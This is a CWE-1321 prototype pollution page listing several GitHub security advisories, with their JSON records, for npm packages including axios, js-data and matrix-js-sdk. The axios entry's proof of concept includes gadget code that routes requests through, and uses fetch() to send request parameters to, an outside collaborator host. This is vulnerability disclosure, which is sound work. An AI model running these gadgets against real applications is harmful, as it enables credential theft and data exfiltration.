Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

866 vulnerabilities reference this CWE, most recent first.

GHSA-MMJ4-777P-FPQ9

Vulnerability from github – Published: 2022-02-07 22:38 – Updated: 2023-07-13 19:05

Summary

Validation bypass in frourio-express

Details

日本語

影響

v0.26.0以前のfrourioを使用している、かつvalidators/を利用している場合、ネストされたバリデータがリクエストのボディーとクエリに対して正しく働かないケースがあります。また、リクエストに対してバリデーションが効かなくなる入力があります。

パッチ

frourioをv0.26.0かそれ以降のバージョンにアップデートをお願いします。frourio を使用したプロジェクトには class-transformer と reflect-metadata の依存への追加も必要となります。

ワークアラウンド

controller側で自分でclass-transformerを使用してチェックする、vaildatorを使わない、など。

さらなる情報

このセキュリティ勧告に関する質問やコメントについては、以下の方法でお問い合わせいただけます。 * frourioにIssueを開く。

English

Impact

Frourio users who uses frourio version prior to v0.26.0 and integration with class-validator through validators/ folder. Validators does not work properly for request bodies and queries in specific situations. Addtionally, some kind of input is not validated. (false positives)

Patches

Please update your frourio to v0.26.0 or later. You also need to install class-transformer and reflect-metadata to your project.

Workarounds

Validate objects from request with class-transformer in controllers by yourself, or prevent using validators.

For more information

If you have any questions or comments about this advisory: * Open an issue in frourio

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "frourio-express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-07T22:38:37Z",
    "nvd_published_at": "2022-02-07T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "## \u65e5\u672c\u8a9e\n\n### \u5f71\u97ff\nv0.26.0\u4ee5\u524d\u306efrourio\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3001\u304b\u3064validators/\u3092\u5229\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u30cd\u30b9\u30c8\u3055\u308c\u305f\u30d0\u30ea\u30c7\u30fc\u30bf\u304c\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u30dc\u30c7\u30a3\u30fc\u3068\u30af\u30a8\u30ea\u306b\u5bfe\u3057\u3066\u6b63\u3057\u304f\u50cd\u304b\u306a\u3044\u30b1\u30fc\u30b9\u304c\u3042\u308a\u307e\u3059\u3002\u307e\u305f\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3057\u3066\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u304c\u52b9\u304b\u306a\u304f\u306a\u308b\u5165\u529b\u304c\u3042\u308a\u307e\u3059\u3002\n\n### \u30d1\u30c3\u30c1\nfrourio\u3092v0.26.0\u304b\u305d\u308c\u4ee5\u964d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u304a\u9858\u3044\u3057\u307e\u3059\u3002frourio \u3092\u4f7f\u7528\u3057\u305f\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u306f `class-transformer` \u3068 `reflect-metadata` \u306e\u4f9d\u5b58\u3078\u306e\u8ffd\u52a0\u3082\u5fc5\u8981\u3068\u306a\u308a\u307e\u3059\u3002\n\n### \u30ef\u30fc\u30af\u30a2\u30e9\u30a6\u30f3\u30c9\ncontroller\u5074\u3067\u81ea\u5206\u3067class-transformer\u3092\u4f7f\u7528\u3057\u3066\u30c1\u30a7\u30c3\u30af\u3059\u308b\u3001vaildator\u3092\u4f7f\u308f\u306a\u3044\u3001\u306a\u3069\u3002\n\n### \u3055\u3089\u306a\u308b\u60c5\u5831\n\n\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u52e7\u544a\u306b\u95a2\u3059\u308b\u8cea\u554f\u3084\u30b3\u30e1\u30f3\u30c8\u306b\u3064\u3044\u3066\u306f\u3001\u4ee5\u4e0b\u306e\u65b9\u6cd5\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u3044\u305f\u3060\u3051\u307e\u3059\u3002\n* [frourio](https://github.com/frouriojs/frourio)\u306bIssue\u3092\u958b\u304f\u3002\n\n## English\n\n### Impact\nFrourio users who uses frourio version prior to v0.26.0 and integration with class-validator through `validators/` folder. Validators does not work properly for request bodies and queries in specific situations. Addtionally, some kind of input is not validated. (false positives)\n\n### Patches\nPlease update your frourio to v0.26.0 or later. You also need to install `class-transformer` and `reflect-metadata` to your project.\n\n### Workarounds\nValidate objects from request with class-transformer in controllers by yourself, or prevent using validators.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [frourio](https://github.com/frouriojs/frourio)\n",
  "id": "GHSA-mmj4-777p-fpq9",
  "modified": "2023-07-13T19:05:32Z",
  "published": "2022-02-07T22:38:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/frouriojs/frourio-express/security/advisories/GHSA-mmj4-777p-fpq9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23624"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frouriojs/frourio-express/commit/73ded5c6f9f1c126c0cb2d05c0505e9e4db142d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/frouriojs/frourio-express"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Validation bypass in frourio-express"
}

GHSA-MMX7-HFXF-JPPX

Vulnerability from github – Published: 2026-07-20 22:25 – Updated: 2026-08-31 19:51

Summary

Axios: Prototype pollution gadgets can alter axios request construction

Details

Summary

axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.

Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+.

Impact

An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS.

For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.

For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+.

Affected Functionality

Affected normal API:

axios.get(url[, config])
axios.delete(url[, config])
axios.head(url[, config])
axios.options(url[, config])

Affected low-level usage:

Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy.
Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer.

Unaffected or corrected scope:

Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads.

Technical Details

lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter.

lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1.

The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values.

Proof of Concept of Attack

import http from 'http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let body = '';

  req.on('data', chunk => {
    body += chunk;
  });

  req.on('end', () => {
    res.writeHead(200, {'content-type': 'application/json'});
    res.end(JSON.stringify({body, headers: req.headers}));
  });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.data = 'INJECTED';

try {
  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);

  console.log(res.data.body); // "INJECTED"
  console.log(res.data.headers['content-length']); // "8"
} finally {
  delete Object.prototype.data;
  await new Promise(resolve => server.close(resolve));
}

Expected result: a request body is sent even though the caller did not explicitly set config.data.

Workarounds

Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern.

Original Report ### Summary Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests. ### Details The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: `config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. `(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. `config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage. ### PoC Ran against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.

import axios from 'axios';

// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header

// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body

// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
  return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });

### Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:25:07Z",
    "nvd_published_at": "2026-08-06T22:18:25Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = \u0027\u0027;\n\n  req.on(\u0027data\u0027, chunk =\u003e {\n    body += chunk;\n  });\n\n  req.on(\u0027end\u0027, () =\u003e {\n    res.writeHead(200, {\u0027content-type\u0027: \u0027application/json\u0027});\n    res.end(JSON.stringify({body, headers: req.headers}));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nObject.prototype.data = \u0027INJECTED\u0027;\n\ntry {\n  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n  console.log(res.data.body); // \"INJECTED\"\n  console.log(res.data.headers[\u0027content-length\u0027]); // \"8\"\n} finally {\n  delete Object.prototype.data;\n  await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted  function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from \u0027axios\u0027;\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: \u0027yourcollab.oastify.com\u0027, port: 8080, protocol: \u0027http\u0027 };\nawait axios.get(\u0027https://api.example.com/user\u0027, { headers: { Authorization: \u0027Bearer sk-test-1234567890\u0027 } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = \u0027{\"injected\":true}\u0027;\nawait axios.get(\u0027https://api.example.com/items\u0027);\nawait axios.delete(\u0027https://api.example.com/items/1\u0027);\nawait axios.head(\u0027https://api.example.com/items\u0027);\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) =\u003e {\n  fetch(\u0027https://yourcollab.oastify.com/?\u0027 + new URLSearchParams(p));\n  return \u0027q=x\u0027;\n};\nawait axios.get(\u0027https://api.example.com/search\u0027, { params: { token: \u0027secret\u0027 } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n\u003c/details\u003e",
  "id": "GHSA-mmx7-hfxf-jppx",
  "modified": "2026-08-31T19:51:32Z",
  "published": "2026-07-20T22:25:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.33.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Prototype pollution gadgets can alter axios request construction"
}

GHSA-MQGV-67VX-G4M5

Vulnerability from github – Published: 2022-02-09 22:45 – Updated: 2023-09-05 22:43

Summary

Prototype Pollution in js-data

Details

All versions of package js-data prior to 3.0.10 are vulnerable to Prototype Pollution via the deepFillIn function.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-data"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-08T21:12:54Z",
    "nvd_published_at": "2020-12-15T08:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package js-data prior to 3.0.10 are vulnerable to Prototype Pollution via the `deepFillIn` function.",
  "id": "GHSA-mqgv-67vx-g4m5",
  "modified": "2023-09-05T22:43:18Z",
  "published": "2022-02-09T22:45:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/js-data/js-data/pull/574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/js-data/js-data/commit/2d9eed5d3e9710d7e7fecc6f6437c39fe73a4097"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-JSDATA-1023655"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in js-data"
}

GHSA-MW4X-G2X8-QCVF

Vulnerability from github – Published: 2022-12-25 18:30 – Updated: 2023-01-09 19:53

Summary

tree-kit vulnerable to Prototype Pollution

Details

A vulnerability classified as problematic has been found in cronvel tree-kit up to 0.6.x. This affects an unknown part. The manipulation leads to improperly controlled modification of object prototype attributes ('prototype pollution'). Upgrading to version 0.7.0 is able to address this issue. The name of the patch is a63f559c50d70e8cb2eaae670dec25d1dbc4afcd. It is recommended to upgrade the affected component. The identifier VDB-216765 was assigned to this vulnerability.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tree-kit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-4278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-09T19:53:50Z",
    "nvd_published_at": "2022-12-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability classified as problematic has been found in cronvel tree-kit up to 0.6.x. This affects an unknown part. The manipulation leads to improperly controlled modification of object prototype attributes (\u0027prototype pollution\u0027). Upgrading to version 0.7.0 is able to address this issue. The name of the patch is a63f559c50d70e8cb2eaae670dec25d1dbc4afcd. It is recommended to upgrade the affected component. The identifier VDB-216765 was assigned to this vulnerability.",
  "id": "GHSA-mw4x-g2x8-qcvf",
  "modified": "2023-01-09T19:53:50Z",
  "published": "2022-12-25T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4278"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cronvel/tree-kit/commit/a63f559c50d70e8cb2eaae670dec25d1dbc4afcd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cronvel/tree-kit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cronvel/tree-kit/releases/tag/v0.7.0"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.216765"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.216765"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tree-kit vulnerable to Prototype Pollution"
}

GHSA-MWQ8-FJPF-C2GR

Vulnerability from github – Published: 2023-03-30 20:19 – Updated: 2023-03-30 20:19

Summary

Prototype pollution in matrix-js-sdk (part 2)

Details

Impact

In certain configurations, data sent by remote servers containing special strings in key locations could cause modifications of the Object.prototype, disrupting matrix-js-sdk functionality, causing denial of service and potentially affecting program logic.

(This is part 2, where CVE-2022-36059 / GHSA-rfv9-x7hh-xc32 is part 1. Part 2 covers remaining vectors not covered by part 1, found in a codebase audit scheduled after part 1.)

Patches

The issue has been patched in matrix-js-sdk 24.0.0.

Workarounds

None.

References

Release blog post
The advisory GHSA-rfv9-x7hh-xc32 (CVE-2022-36059) refers to an initial set of vulnerable locations discovered and patched in matrix-js-sdk 19.4.0. We opted not to disclose that advisory while we performed an audit of the codebase and are now disclosing it jointly with this one.

For more information

If you have any questions or comments about this advisory please email us at security at matrix.org.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "matrix-js-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-28427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-30T20:19:18Z",
    "nvd_published_at": "2023-03-28T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nIn certain configurations, data sent by remote servers containing special strings in key locations could cause modifications of the `Object.prototype`, disrupting matrix-js-sdk functionality, causing denial of service and potentially affecting program logic.\n\n(This is part 2, where [CVE-2022-36059](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36059) / [GHSA-rfv9-x7hh-xc32](https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-rfv9-x7hh-xc32) is part 1. Part 2 covers remaining vectors not covered by part 1, found in a codebase audit scheduled after part 1.)\n\n### Patches\nThe issue has been patched in matrix-js-sdk 24.0.0.\n\n### Workarounds\nNone.\n\n### References\n\n- [Release blog post](https://matrix.org/blog/2023/03/28/security-releases-matrix-js-sdk-24-0-0-and-matrix-react-sdk-3-69-0)\n- The advisory [GHSA-rfv9-x7hh-xc32](https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-rfv9-x7hh-xc32) ([CVE-2022-36059](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36059)) refers to an initial set of vulnerable locations discovered and patched in matrix-js-sdk 19.4.0. We opted not to disclose that advisory while we performed an audit of the codebase and are now disclosing it jointly with this one.\n\n### For more information\nIf you have any questions or comments about this advisory please email us at [security at matrix.org](mailto:security@matrix.org).\n",
  "id": "GHSA-mwq8-fjpf-c2gr",
  "modified": "2023-03-30T20:19:18Z",
  "published": "2023-03-30T20:19:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-mwq8-fjpf-c2gr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-rfv9-x7hh-xc32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/matrix-js-sdk"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00027.html"
    },
    {
      "type": "WEB",
      "url": "https://matrix.org/blog/2023/03/28/security-releases-matrix-js-sdk-24-0-0-and-matrix-react-sdk-3-69-0"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-36"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5392"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in matrix-js-sdk (part 2)"
}

GHSA-MWV9-GP5H-FRR4

Vulnerability from github – Published: 2026-03-12 16:38 – Updated: 2026-06-26 20:30

Summary

Sveltejs devalue's `devalue.parse` and `devalue.unflatten` emit objects with `__proto__` own properties

Details

In some circumstances, devalue.parse and devalue.unflatten could emit objects with __proto__ own properties. This in and of itself is not a security vulnerability (and is possible with, for example, JSON.parse as well), but it can result in prototype injection if downstream code handles it incorrectly:

const result = devalue.parse(/* input creating an object with a __proto__ property */);
const target = {};
Object.assign(target, result); // target's prototype is now polluted

Severity

2.7 (Low)


                  
